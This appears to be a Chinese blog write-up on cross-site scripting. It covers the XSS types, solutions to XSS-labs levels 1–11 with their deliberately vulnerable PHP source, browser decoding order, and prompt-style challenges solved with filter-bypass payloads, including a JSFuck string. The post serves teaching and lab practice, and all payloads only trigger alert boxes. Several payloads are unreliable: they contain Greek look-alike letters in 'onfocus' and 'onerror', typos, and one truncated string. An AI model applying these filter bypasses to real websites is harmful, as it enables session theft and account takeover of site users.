xss总结

heibailin

1273人浏览 · 2025-07-19 15:09:01

heibailin · 2025-07-19 15:09:01 发布

一.XSS的原理

跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击！

二.Xss漏洞分类

1. 反射性xss

反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数（变量）中，如搜索框的反射型XSS。在搜索框中，提交PoC[scriptalert(/xss/)/script]，点击搜索，即可触发反射型XSS。注意到，我们提交的poc 会出现在search.php 页面的keywords 参数中.

2.存储型XSS

存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数（变量）中，而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言，将恶意代码写进数据库中。此时，我们只完成了第一步，将恶意代码写入数据库。因为XSS 使用的JS 代码，JS 代码的运行环境是浏览器，所以需要浏览器从服务器载入恶意的XSS 代码，才能真正触发XSS。此时，需要我们模拟网站后台管理员的身份，查看留言。

3.基于DOM的 XSS

DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击，其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行，并不会传到服务器上，这也就使得DOM XSS 比较难以检测。

三.XSS的各种bypass技巧

第一关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

因为没有做任何过滤，直接通过name传送恶意代码即可

?nane=<script>alert(1)</script>

第二关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

直接在搜素框内输入恶意代码<script>alert(1)</script>，发现< >被编译成了html字符实体。

所以只能从input标签value里面去突破了，

"><script>%20alert(1)%20</script>

先把前面的input标签闭合了然后执行script恶意代码就行了

第三关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

先输入<script>alert(1)</script>试试发现，< >还是被实体编码了，而且input的value也被实体编码了。

所以我们可以通过input标签的特殊事件来执行，比如它的onfocus。

onfocus是javascript中在对象获得焦点时发生的事件,最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发 onfocus事件.因此点击当前页面的输入框就可以完成弹框了。

'οnfοcus='javascript:alert(1)' 先闭合vlaue=' '然后传入onfocus的值执行恶意代码就好了，然后点击搜索框触发就行了。

第五关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

传入<script> alert(1) </script> 发现< >不仅被html实体编码了，前面的script还被替换成了scr_pt

传入onfocus，被替换成了o_nfocus,那么我们可以使用a标签

"><a%20href=%27javascript:alert(1)%27>先用">闭合前面的input标签然后去写a标签触发就好了。

第六关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

看源码发现script，on，src，data，href，< >被过滤了但是input里没有过滤< >可以尝试下大小写混合写。

"><a%20hREF=javascript:alert(1)>还是先闭合input标签之后发现大小写可行。

第七关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

我们看源码会发现首先会将所有转换成小写，然后把一些可能传入恶意代码的地方都被换成了空，那么我们可以尝试双写绕过

"oonnfocus%20=%27%20javascrscriptipt:alert(1)%27

因为只执行了一次所以匹配到script只删除了一个,那么同理

"><a%20hrehreff=%27javasscriptcript:alert(1)%27>//用a标签也是可以的

"><img%20srsrcc=%271%27%20oonnerror=alert(1)>用img标签也是可以的

img熟悉html的人都会知道在img标签中引用图片会用到一个属性就是src。正常的引用图片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法访问到时就可以触发一个onerror事件来执行js代码。

第八关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

会发现关键字都被过滤了，而且也不是转换成空所以无法使用双写，大写也被变成了小写，所以大小写混写也无法使用，那么我们就考虑转码了。

首先是html实体编码

javascript:alert(1)

发现成功了

第九关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

看源码如果没带http://就会被认为是不好的链接，所以加上即可剩下的同上一题.

javascript:alert(1)//http://

第十关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

看页面发现有三个被隐藏的input标签，测试会发现只有第三个可以传东西进去，那么通过post传参然后先用type把他显示出来，再用input的onclick属性就可以了。

&t_sort="type="text"%20%20οnclick="alert(1)

第十一关

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

1.总结反射性xss存在的位置，可能在搜索 input表单

2.可能会纯在过滤。通过编码等方式尝试绕过

3.JavaScript伪协议也可以触发xss

四.深入理解浏览器解析机制和XSS向量编码

1.<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

之间的符号是javascript:alert(1),通过URL Encode编码编出来的

但这个不能解析因为在URL Encode或者decode的时候不能偏码协议

href的识别是在解URLEncod码之前所以解析不了

2.<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

javascript用的html实体编码，alert(1)用的URL Encode编码

这个可以解析是因为html实体编码，在识别之前已经解码了,javascript所以可以解析出来

所以我们可以得到一个优先级

html实体编码------>url encod-------->

3.<a href="javascript%3aalert(3)"></a>

用urlencod编码编了：

这个解析不了说明了javascript:这一个才是一个整体所以识别不了javascript

上面三个的总结：

首先，URL资源类型必须是ASCII字母（U+0041-U+005A || U+0061-U+007A），不然就会进入“无类型”状态。例如，你不能对协议类型进行任何的编码操作，不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码，因此不会被URL解析器识别

4.<div>&#60;img src=x onerror=alert(4)&#62;</div>

这个是实体编码编码了< 和 > 但是解析不了，因为解析成< >之后不会再进入标签开始状态，所以不会成功的

这里要提一下RCDATA的概念。要了解什么是RCDATA，我们先要了解另一个概念。在HTML中有五类元素：

空元素(Void elements)，如<area>,<br,<base>等等
原始文本元素(Raw text elements)，有<script>和<style>
RCDATA元素(RCDATA elements)，有<textarea>和<title>
外部元素(Foreign elements)，例如MathML命名空间或者SVG命名空间的元素
基本元素(Normal elements)，即除了以上4种元素以外的元素

五类元素的区别如下：

空元素，不能容纳任何内容（因为它们没有闭合标签，没有内容能够放在开始标签和闭合标签中间）。不用考虑没内容
原始文本元素，可以容纳文本。只能把里面的内容当做文本利用不了
RCDATA元素，可以容纳文本和字符引用。但是一旦有字符引用可能就无法进入标签开始状态大概率利用不了
外部元素，可以容纳文本、字符引用、CDATA段、其他元素和注释 svg 可以
基本元素，可以容纳文本、字符引用、其他元素和注释可以

5.<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

同上可以解码，但是标签不会进入标签开始状态了所以解析不了


6.<textarea><script>alert(6)</script></textarea>

那么直接写出来可以吗？答案是不行的，因为RCDATA元素只能容纳文本和字符引用，那么所以呢在这个元素内只会把这些基本元素作为文本哦。

7.<button onclick="confirm('7&#39;);">Button</button>

对’进行了一个实体编码，这个是可以解析的，因为实体编码解析肯定在javascript解析之前，其次button又是一个普通元素所以是可以触发的。

8.<button onclick="confirm('8\u0027);">Button</button>

这个是不能解析的，因为js中unicode编码中不支持对符号进行编码

9.<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

这个是实体编码编码了alert(1); ，虽然实体编码在js之前可以把他解码回来，但是原始文本元素只可以容纳文本，只能作为文本，不可以使用哦。

10.<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

这个是使用了unicode编码了alert是可以的unicode是script自己带的编码器。

11.<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

解析不了编码不了符号

12.<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

js语法问题，默认将12数字理解为字符串所以解析不了

五.XSS进阶

第一题

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    for( let el of root.querySelectorAll('*')){
        for(let attr of el.attributes)
            el.removeAttribute(attr,name);
    }
    document.body.appendChild(root);
</script>
</html>

先来解释下这个代码

location.hash这个是把#后面的数据包括#截取下来，但是我们不需要#所以就有了.substr(1)

总之locath.hash.subtr(1)就是把#后面的数据给截取下来。

然后下面两行就是创建一个div 然后把data的数据给div

之后遍历div标签里面的子标签，然后获取div子标签中的属性

之后把属性给全部进行移除。

那怎么破解了

我们首先传入数据试试比如：

然后你会发现他会只删除a=1 和 c=1 那么破解就很简单了 <img a=1 src=1 b=1 οnerrοr=alert(1)>

那么为什么会这样捏可以这么来看[1 2 3 4 5]

比如在删1之后指针指向了2 但是2会填补被删除1的位置就变成了[ 2 3 4 5],所以指针现在指向了3所以2就没被删掉。那么就是这样。

还有个知识点是，html5中不会执行由ineerHTML插入的script标签所以上面用的img。

1.Ma Spaghet!

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

从上面可以看出，我们的url中需要有somebody这样一个参数，如果有就get获取它，如果没有，默认值为somebody后面连接一个字符串，这里需要对innerHtml有一个比较清楚的认识。

这题没有任何限制所以直接?somebody=<img src=1 οnerrοr=alert(1)>

唯一的限制上面也提到了ineerhtml不会执行插入的script标签

2.Jefff

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

这题和上题差不多变量名变成了jeff，没有ineerhtml，用了eval（）函数

eval()函数的作用是会将传入的字符串当做 JavaScript 代码进行执行。所以直接传入alert（1）即可?jeff=1";alert(1);//

首先先闭合前面的eval然后//注释多余的）然后再用；分开就可以执行alert（1）就行了

3.Ugandan Knuckles

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这关变量名是wey然后对wey进行了过滤把有<>的都变成了空，然后传入到placheolder中。

然后这关还有个要求就是需要用户不交互。

用input的特定属性就好了onfocus这个就是点击输入框就会触发，但是要用户不交互所以还要用到

autofocus这个是自动聚焦所以两个连用就可以实现。

"οnfοcus=alert(1337) autofocus="

4.Ricardo Milos

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

然后这个代码就是传入给form的action值如果ricardo为空的话就传入#，那么action这个值可以执行js代码

所以直接传入就可以了?ricardo=javascript:alert(1)

5.Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

然后这个用正则表达式过滤了 ( ) ` / 主要是为了避免alert(1)和alert'1'虽然括号被过滤了但是我们可以试试编码。

<a%20href="javascript:alert%25281%2529">aaa

这里使用了两次url编码来突破。

6.Ligma

<script>
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
</script>

代码非常简单，大A到大Z，小A到小Z，0-9不能使用，明显无法使用编码，那么我们如何去绕过此关呢？

jsfuck网站加密
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])
以上内容为alert(1)

这样无法被url解析，我们需要改为urlcode编码方式

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D%5D%5D)
绕过！！！

7.Mafia

<script>
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
</script>

他过滤了`,`,"+,*,!,,-\,[,]还限制了长度为50，还过滤了alert。

弹窗最常用的三个函数，为alert、prompt、confirm，三个函数都能实现弹窗那么就可以

?mafia=prompt(1337);
?mafia=confirm(1337);

还可以使用Function构造函数过滤

Function(/ALERT(1337)/.source.toLowerCase())()

因为过滤了alert所以只能使用大写ALERT然后通过.source返回字符串销毁两边的//再通过.toLowerCase转换成小写从而得到"alerrt(1337)"

eval(location.hash.slice(1))#alert(1)这个前面有讲到可以取#号后面的值

eval(8680439..toString(30))(1337)这个是alert转换成了30进制，

为什么要是30进制捏，十六进制到A是10B是11C是12D是13E是14F是15

然后推下去会发现T是30因为需要t所以30后面的都可以